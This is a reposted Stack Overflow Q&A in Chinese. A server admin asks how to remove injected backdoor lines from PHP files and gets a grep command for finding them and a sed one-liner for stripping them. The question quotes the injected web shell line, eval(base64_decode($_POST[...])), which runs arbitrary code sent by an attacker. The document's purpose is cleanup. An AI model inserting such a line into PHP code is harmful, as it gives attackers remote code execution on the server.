gpt4 book ai didi

linux - 使用 ssh 从文件中删除 eval base64_decode

转载 作者:太空宇宙 更新时间:2023-11-04 03:54:45 24 4
gpt4 key购买 nike

我在网络服务器(CentOs with WHM)上发现了几个包含以下内容的 php 文件:

eval(base64_decode($_POST['n23fcad']));?><?php

eval(base64_decode($_POST['n56660d']));?><?php  

等等。

我可以从 php 文件中删除这部分代码,而保持文件的其余部分完好无损吗?

现在我使用以下行来检测文件:

grep -lr --include=*.php "eval(base64_decode" .

我不知道如何删除恶意部分。正如您在 POST 括号之间看到的,代码发生了变化。所以希望有一种方法可以删除这些类型的行。

提前致谢!

最佳答案

请尝试以下方法

cat injected_file.php | sed  's/<?php.*eval.*]));?>//g' > good_file.php

它对我有用。

关于linux - 使用 ssh 从文件中删除 eval base64_decode,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/25147352/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com